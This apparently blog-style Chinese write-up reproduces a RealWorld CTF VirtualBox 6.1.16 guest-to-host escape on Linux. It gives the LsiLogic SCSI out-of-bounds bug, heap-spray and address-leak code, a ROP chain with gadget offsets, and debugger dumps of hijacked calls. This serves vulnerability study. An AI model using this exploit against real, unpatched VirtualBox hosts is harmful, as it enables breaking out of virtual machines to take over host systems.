今年2月份RealWorld CTF出了两道虚拟机逃逸的题目,之前没有接触过VirtualBox所以当时并没有研究。由于原题涉及的主机和虚拟机都是windows平台,源码编译和驱动编写似乎比较麻烦,所以我决定在linux平台搭建对应的环境并复现了比赛题目所涉及的逃逸漏洞。后面有空的话自己再进一步实现windows平台下的移植,有兴趣的可以参考Sauercl0ud所给出的关于原题的writeup,见文末链接。
本文所使用的环境如下,主机:linuxmint-20.1-cinnamon-64bit.iso,虚拟机:linuxmint-20.1-cinnamon-64bit.iso或xubuntu-20.04.1-desktop-amd64.iso,VirtualBox源码:VirtualBox-6.1.16.tar.bz2。注:在linux平台下的漏洞利用思路与windows下类似,但在如何寻找结构体以及劫持EIP部分存在一些不同。
漏洞涉及的虚拟设备为LsiLogicSCSI设备,在该设备的构造函数中,注册了端口LSILOGIC_BIOS_IO_PORT和LSILOGIC_SAS_BIOS_IO_PORT的访问处理函数(可直接在客户机中通过io函数访问)如下:
static DECLCALLBACK(int) lsilogicR3Construct(PPDMDEVINS pDevIns, int iInstance, PCFGMNODE pCfg)
{
...
/*
* Register I/O port space in ISA region for BIOS access
* if the controller is marked as bootable.
*/
if (fBootable)
{
if (pThis->enmCtrlType == LSILOGICCTRLTYPE_SCSI_SPI)
rc = PDMDevHlpIoPortCreateExAndMap(pDevIns, LSILOGIC_BIOS_IO_PORT, 4 /*cPorts*/, 0 /*fFlags*/,
lsilogicR3IsaIOPortWrite, lsilogicR3IsaIOPortRead,
lsilogicR3IsaIOPortWriteStr, lsilogicR3IsaIOPortReadStr, NULL /*pvUser*/,
"LsiLogic BIOS", NULL /*paExtDesc*/, &pThis->hIoPortsBios);
else if (pThis->enmCtrlType == LSILOGICCTRLTYPE_SCSI_SAS)
rc = PDMDevHlpIoPortCreateExAndMap(pDevIns, LSILOGIC_SAS_BIOS_IO_PORT, 4 /*cPorts*/, 0 /*fFlags*/,
lsilogicR3IsaIOPortWrite, lsilogicR3IsaIOPortRead,
lsilogicR3IsaIOPortWriteStr, lsilogicR3IsaIOPortReadStr, NULL /*pvUser*/,
"LsiLogic SAS BIOS", NULL /*paExtDesc*/, &pThis->hIoPortsBios);
else
AssertMsgFailedReturn(("Invalid controller type %d\n", pThis->enmCtrlType), VERR_INTERNAL_ERROR_3);
AssertRCReturn(rc, PDMDEV_SET_ERROR(pDevIns, rc, N_("LsiLogic cannot register legacy I/O handlers")));
}
...
}
该函数的主要实现为vboxscsiWriteRegister函数,在此函数内通过pVBoxSCSI->enmState字段维护了一个状态机,初始状态为VBOXSCSISTATE_NO_COMMAND。客户机向端口偏移为0的位置写入SCSI命令,主机从该端口中依次获取命令传输方向TXDIR、命令描述符块CDB的大小pVBoxSCSI->cbCDB、命令参数所需缓冲区大小的高低中位SIZE_BUFHI/LSB/MID,逐字节获取命令描述符并保存在pVBoxSCSI->abCDB中,并分配参数所需的缓冲区pVBoxSCSI->pbBuf。
准备就绪后,客户机通过端口偏移为1的位置逐字节写入命令参数,主机获取并保存在pVBoxSCSI->pbBuf中。其中pVBoxSCSI->iBuf字段记录了当前缓冲区访问的位置,pVBoxSCSI->cbBufLeft字段记录了剩余的待访问缓冲区大小。由于该部分代码较长,不在这里贴出。
该函数的主要实现为vboxscsiReadString函数,处理客户机对上述两个端口的insb/w/l访问。当待访问缓冲区大于0时,从当前位置读取指定的字节数cbTransfer并更新pVBoxSCSI->iBuf和pVBoxSCSI->cbBufLeft字段。其中pcTransfers为字符串读操作的大小(参数),cb为字符串读操作的宽度,即b/w/l。
int vboxscsiReadString(PPDMDEVINS pDevIns, PVBOXSCSI pVBoxSCSI, uint8_t iRegister,
uint8_t *pbDst, uint32_t *pcTransfers, unsigned cb)
{
...
uint32_t cbTransfer = *pcTransfers * cb;
if (pVBoxSCSI->cbBufLeft > 0)
{
Assert(cbTransfer <= pVBoxSCSI->cbBuf);
if (cbTransfer > pVBoxSCSI->cbBuf)
{
memset(pbDst + pVBoxSCSI->cbBuf, 0xff, cbTransfer - pVBoxSCSI->cbBuf);
cbTransfer = pVBoxSCSI->cbBuf; /* Ignore excess data (not supposed to happen). */
}
/* Copy the data and adance the buffer position. */
memcpy(pbDst, pVBoxSCSI->pbBuf + pVBoxSCSI->iBuf, cbTransfer);
/* Advance current buffer position. */
pVBoxSCSI->iBuf += cbTransfer;
pVBoxSCSI->cbBufLeft -= cbTransfer;
/* When the guest reads the last byte from the data in buffer, clear
everything and reset command buffer. */
if (pVBoxSCSI->cbBufLeft == 0)
vboxscsiReset(pVBoxSCSI, false /*fEverything*/);
}
...
}
在这里将访问字节数cbTransfer与命令参数缓冲区的大小pVBoxSCSI->cbBuf进行了比较检查,但未检查cbTransfer是否超出了剩余待访问大小pVBoxSCSI->cbBufLeft。并且将cbTransfer设置为越界值时, pVBoxSCSI->cbBufLeft字段将被更新为负数(unsigned int),可以实现进一步的越界读写。
通过发送功能为GUEST_PROP_FN_GET_NOTIFICATION的GuestProperties HGCM服务调用进行Heap spray,使后续申请的堆空间连续,以便对漏洞所涉及的pVBoxSCSI->pbBuf和漏洞利用结构体进行排布。对于每个HGCM Client最大可创建的调用消息个数为GUEST_PROP_MAX_GUEST_CONCURRENT_WAITS(0x10个),Client个数为0x64个。在这一步我创建了0x50个Client,并为每个CLien发送0x10个消息实现Heap Spray,后续分配的堆空间将在top chunk中分配。对应主机处理流程如下:
#0 guestProp::Service::getNotification (this=0x7f28b8001600, u32ClientId=2, callHandle=0x7f28cc544500, cParms=4, paParms=0x7f287b84ef60) at /home/john/Application/VirtualBox-6.1.16/src/VBox/HostServices/GuestProperties/VBoxGuestPropSvc.cpp:1216
#1 0x00007f28d4b64a59 in guestProp::Service::call (this=0x7f28b8001600, callHandle=0x7f28cc544500, u32ClientID=2, eFunction=6, cParms=4, paParms=0x7f287b84ef60) at /home/john/Application/VirtualBox-6.1.16/src/VBox/HostServices/GuestProperties/VBoxGuestPropSvc.cpp:1471
#2 0x00007f28d4b6758c in guestProp::Service::svcCall (pvService=0x7f28b8001600, callHandle=0x7f28cc544500, u32ClientID=2, pvClient=0x0, u32Function=6, cParms=4, paParms=0x7f287b84ef60, tsArrival=4461623782606) at /home/john/Application/VirtualBox-6.1.16/src/VBox/HostServices/GuestProperties/VBoxGuestPropSvc.cpp:372
Heap spray所使用的结构为HGCMMsgCall结构体以及GetNotification调用传递的pszPatterns字符串,其中HGCMMsgCall结构体在HGCMService::GuestCall函数中创建:
int HGCMService::GuestCall(PPDMIHGCMPORT pHGCMPort, PVBOXHGCMCMD pCmd, uint32_t u32ClientId, uint32_t u32Function,
uint32_t cParms, VBOXHGCMSVCPARM paParms[], uint64_t tsArrival)
{
HGCMMsgCall *pMsg = new (std::nothrow) HGCMMsgCall(m_pThread);
...
return rc;
}
地址泄露所使用的结构体同样为HGCMMsgCall结构体,其中vtable字段和m_pfnCallback字段包含了VBoxC.so库中函数指针,m_pNext和m_pPrev字段用于链接其他HGCMMsgCall结构体并形成双链表,指向了结构体的堆地址,pHGCMPort指向了该类型HGCM调用的一些接口函数。在越界读漏洞的pbBuf后创建一些HGCMMsgCall结构体以实现地址泄露。
pwndbg> p *(struct HGCMMsgCall *)0x7f014c5e4660
$2 = {
<HGCMMsgHeader> = {
<HGCMMsgCore> = {
<HGCMReferencedObject> = {
_vptr.HGCMReferencedObject = 0x7f018cb1fb28 <vtable for HGCMMsgCall+16>,
...
},
members of HGCMMsgCore:
...
m_pfnCallback = 0x7f018c888c0e <hgcmMsgCompletionCallback(int32_t, HGCMMsgCore*)>,
m_pNext = 0x7f014c5e4b20,
m_pPrev = 0x7f014c5e4400,
...
},
members of HGCMMsgHeader:
pCmd = 0x7f01804a9e00,
pHGCMPort = 0x7f01800141b0
},
members of HGCMMsgCall:
u32ClientId = 58,
u32Function = 6,
...
}
通过HGCMMsgCall结构体首字段vtable指针可以泄露VBoxC.so库的基地址,通过m_pNext和m_pPrev指针泄露堆地址,具体方法如下:越界读获取一个HGCMMsgCall结构体curObj,记录越界读的偏移curPos,并获取该结构体中的m_pNext和m_pPrev指针;继续越界读获取下一HGCMMsgCall结构体nextObj,类似地获取其越界读偏移以及链表指针,当curObj->pPrev - nextObj->pNext或curObj->pNext - nextObj->pPrev的值与nextObj->curPos - curObj->curPos的值相同时,表示两个结构体在链表中相邻,此时curObj的堆地址即为nextObj->pPrev/pNext。
通过越界读在curObj结构体后获取一个保存pszPatterns字符串的chunk,覆盖该chunk并在其中设置ROP gadgets。之后继续越界读获取nextObj,通过curObj地址计算pszPatterns字符串chunk的堆地址,越界写覆盖nextObj中的pHGCMPort指针,使其指向pszPatterns字符串chunk地址。当主机进程对nextObj结构体进行异步处理时调用其中的接口函数触发ROP实现命令执行。以上流程的主要利用代码如下,这里给出的ROP为源码编译成Debug版本产生的ROP:
/* Create oob pVBoxSCSI->pbBuf */
oobInit(0x70, 0x8);
/* Spray some HGCMMsgCall with specific pattern behind the pbBuf */
patternSize = 0x120;
pattern = calloc(1, patternSize);
for(i = 56; i < 60; i++){
sprayClient = VGDrv_HGCMConnect(vbguest, "VBoxGuestPropSvc");
for(j = 0; j < GUEST_PROP_MAX_GUEST_CONCURRENT_WAITS; j++){
sprintf(pattern, "dataprop%02d=%02d", sprayClient, j);
perfixLen = strlen(pattern);
memset(pattern + perfixLen, 0x41, patternSize - perfixLen - 1);
GPVMMDev_GetNotification(vegst, sprayClient, pattern, patternSize, timestamp, retbuf, retbufSize);
printf("[+]Heap spray, current clientID = 0x%x, current call = 0x%x\n", sprayClient, j);
}
}
/* Looking for a HGCMMsgCall obj chunk which size = 0x85 */
struct HGCMMsgCallInfo *curObj = calloc(1, sizeof(HGCMMsgCallInfo));
seekObj(curObj);
uint64_t curAddr = 0; //current object heap addr, get it later
uint64_t vboxcAddr = 0; //caculate it later for different vbox version
/* Looking for a pattern chunk to place our data */
uint8_t *cmdStr = "/usr/bin/gnome-calculator\n";
uint64_t *vulnPattern = calloc(1, patternSize);
vboxcAddr = curObj->vtableAddr - 0x61FB28; //caculate base addr of VBoxC.so in debug version
vulnPattern[0] = 0x0; //rbp for leave in gadget1
vulnPattern[1] = vboxcAddr + 0x11A1EB; //pop r12; pop rbp; ret; gadget2
vulnPattern[2] = vboxcAddr + 0x33d1AE; //xchg rax, rbp; fcos; leave; ret; rax = pattern chunk heap addr, gadget1 for stack pivot
vulnPattern[3] = vboxcAddr + 0x647078 + 0x8;//strcmp .got.plt + 0x8
vulnPattern[4] = vboxcAddr + 0x114385; //mov rax, qword ptr [rbp - 8]; pop rbp; ret; gadget3
vulnPattern[5] = 0x0; //rbp
vulnPattern[6] = vboxcAddr + 0x27f773; //pop rcx; ret; gadget4
vulnPattern[7] = 0xFFFFFFFFFFECE8B0; //rcx
vulnPattern[8] = vboxcAddr + 0x19D50E; //add rax, rcx; pop rbp; ret; gadget5
vulnPattern[9] = 0x0; //rbp
vulnPattern[10] = vboxcAddr + 0x38695C; //add rdx, 0x98; mov rdi, rdx; call rax; gadget6
memcpy(vulnPattern + 19, cmdStr, strlen(cmdStr)); //cmd string at rdx + 0x98
if(strlen(cmdStr) + 0x98 > patternSize){
printf("[+]Error: rop gadgets length is larger than pattern chunk size\n");
exit(-1);
}
uint64_t patternPos = seekPattern("dataprop", patternSize); //mark curent chunk data offset, in order to caculate heap addr larter
oobWriteAdd(vulnPattern, patternSize);
uint64_t patternAddr = 0; //pattern chunk heap addr
/* Looking for cur->pPrev or cur->pNext object in the double link */
sleep(3);
uint32_t tryTime = 0;
uint32_t objOffset = 0;
uint32_t fdOffset = 0;
uint32_t bkOffset = 0;
struct HGCMMsgCallInfo *nextObj = calloc(1, sizeof(HGCMMsgCallInfo));
for(tryTime = 0; tryTime < 0x10; tryTime++){
seekObj(nextObj);
objOffset = nextObj->curPos - curObj->curPos;
fdOffset = curObj->pPrev - nextObj->pNext;
bkOffset = curObj->pNext - nextObj->pPrev;
printf("[+]Checking object offset = 0x%llx, forward link offset = 0x%llx, backward link offset = 0x%llx\n", objOffset, fdOffset, bkOffset);
if(objOffset == fdOffset){
printf("[+]Get pPrev of current object, curObj addr = 0x%llx\n", nextObj->pNext);
curAddr = nextObj->pNext;
break;
} else if(objOffset == bkOffset){
printf("[+]Get pNext of current object, curObj addr = 0x%llx\n", nextObj->pPrev);
curAddr = nextObj->pPrev;
break;
}
/* If we cannot find adjacent object with limited attempt, update current object and pattern chunk, goto next trail loop */
if((tryTime != 0) && (tryTime%3 == 0)){
memcpy(curObj, nextObj, sizeof(HGCMMsgCallInfo));
printf("[+]Update current object and pattern chunk for a new trail, curPos = 0x%llx\n", curObj->curPos);
patternPos = seekPattern("dataprop", patternSize);
oobWriteAdd(vulnPattern, patternSize);
}
}
以下是HGCMMsgCall->pHGCMPort字段所包含的接口函数,若客户机用户程序不发送任何后续消息,主机进程将调用pfnCompleted接口函数完成当前HGCMMsgCall结构体的处理;若客户机再次使用对应的ClientID发送GetNotification调用消息,主机进程将调用pfnIsCmdCancelled接口函数取消原HGCMMsgCall结构体表示的消息。
typedef struct PDMIHGCMPORT {
DECLR3CALLBACKMEMBER(int, pfnCompleted,(PPDMIHGCMPORT pInterface, int32_t rc, PVBOXHGCMCMD pCmd));
DECLR3CALLBACKMEMBER(bool, pfnIsCmdRestored,(PPDMIHGCMPORT pInterface, PVBOXHGCMCMD pCmd));
DECLR3CALLBACKMEMBER(bool, pfnIsCmdCancelled,(PPDMIHGCMPORT pInterface, PVBOXHGCMCMD pCmd));
DECLR3CALLBACKMEMBER(uint32_t, pfnGetRequestor,(PPDMIHGCMPORT pInterface, PVBOXHGCMCMD pCmd));
DECLR3CALLBACKMEMBER(uint64_t, pfnGetVMMDevSessionId,(PPDMIHGCMPORT pInterface));
} PDMIHGCMPORT;
劫持pfnCompleted接口函数的情形如下,函数参数为pMsgHdr->pHGCMPort、result和pMsgHdr->pCmd。
RAX 0xffffffd9
RBX 0x7f3cb8001638 —▸ 0x7f3cb8012290 —▸ 0x7f3cb80122d0 —▸ 0x7f3cb8012310 —▸ 0x7f3cb8012350 ◂— ...
RCX 0x7f3cd45e3398 ◂— 0x4242424242424242 ('BBBBBBBB')
RDX 0x7f3cd45e3398 ◂— 0x4242424242424242 ('BBBBBBBB')
RDI 0x7f3cd45e3398 ◂— 0x4242424242424242 ('BBBBBBBB')
RSI 0xffffffd9
R8 0x4242424242424242 ('BBBBBBBB')
R9 0x7f3cfcb460e8 ◂— 'void PGMPhysReleasePageMappingLock(PVMCC, PPGMPAGEMAPLOCK)'
...
─────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────
► 0x7f3cffcf4cc0 call r8 <0x4242424242424242>
0x7f3cffcf4cc3 jmp 0x7f3cffcf4cd1 <0x7f3cffcf4cd1>
0x7f3cffcf4cc5 mov eax, 0xfffffe99
0x7f3cffcf4cca jmp 0x7f3cffcf4cd1 <0x7f3cffcf4cd1>
0x7f3cffcf4ccc mov eax, 0xffffa87d
0x7f3cffcf4cd1 leave
0x7f3cffcf4cd2 ret
...
─────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────
In file: /home/john/Application/VirtualBox-6.1.16/src/VBox/Main/src-client/HGCM.cpp
997 LogFlow(("MAIN::hgcmMsgCompletionCallback: message %p\n", pMsgCore));
998
999 if (pMsgHdr->pHGCMPort)
1000 {
1001 if (!g_fResetting)
► 1002 return pMsgHdr->pHGCMPort->pfnCompleted(pMsgHdr->pHGCMPort,
1003 g_fSaveState ? VINF_HGCM_SAVE_STATE : result, pMsgHdr->pCmd);
1004 return VERR_ALREADY_RESET; /* best I could find. */
1005 }
1006 return VERR_NOT_AVAILABLE;
1007 }
劫持pfnIsCmdCancelled接口函数的情形如下,函数参数为pMsgHdr->pHGCMPort和pMsgHdr->pCmd。本文通过这里的rax寄存器和"xchg rax, rbp"gadget实现stackpivot,并进一步构造ROP达到命令执行。
*RAX 0x7f86305e4b58 ◂— 0x4242424242424242 ('BBBBBBBB') pHGCMPort
RBX 0x7f865d5f42be (HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)) ◂— endbr64
*RCX 0x4242424242424242 ('BBBBBBBB')
*RDX 0x7f86305e4b58 ◂— 0x4242424242424242 ('BBBBBBBB') pCmd
*RDI 0x7f86305e4b58 ◂— 0x4242424242424242 ('BBBBBBBB') pHGCMPort
*RSI 0x7f86305e4b58 ◂— 0x4242424242424242 ('BBBBBBBB') pCmd
*R8 0x7f85bdb05d60 ◂— 0x3
R9 0x4
...
─────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────
► 0x7f865d5f44cf <HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)+529> call rcx <0x4242424242424242>
0x7f865d5f44d1 <HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)+531> nop
0x7f865d5f44d2 <HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)+532> leave
0x7f865d5f44d3 <HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)+533> ret
...
─────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────
In file: /home/john/Application/VirtualBox-6.1.16/src/VBox/Main/src-client/HGCM.cpp
902 AssertPtrReturn(pCmd, false);
903
904 PPDMIHGCMPORT pHgcmPort = pMsgHdr->pHGCMPort;
905 AssertPtrReturn(pHgcmPort, false);
906
► 907 return pHgcmPort->pfnIsCmdCancelled(pHgcmPort, pCmd);
908 }
909
参考链接:
https://www.virtualbox.org/wiki/Linux%20build%20instructions
https://www.giantbranch.cn/2019/08/07/%E5%9C%A8ubuntu%2018.04%E4%B8%8A%E7%BC%96%E8%AF%91VirtualBox/
https://secret.club/2021/01/14/vbox-escape.html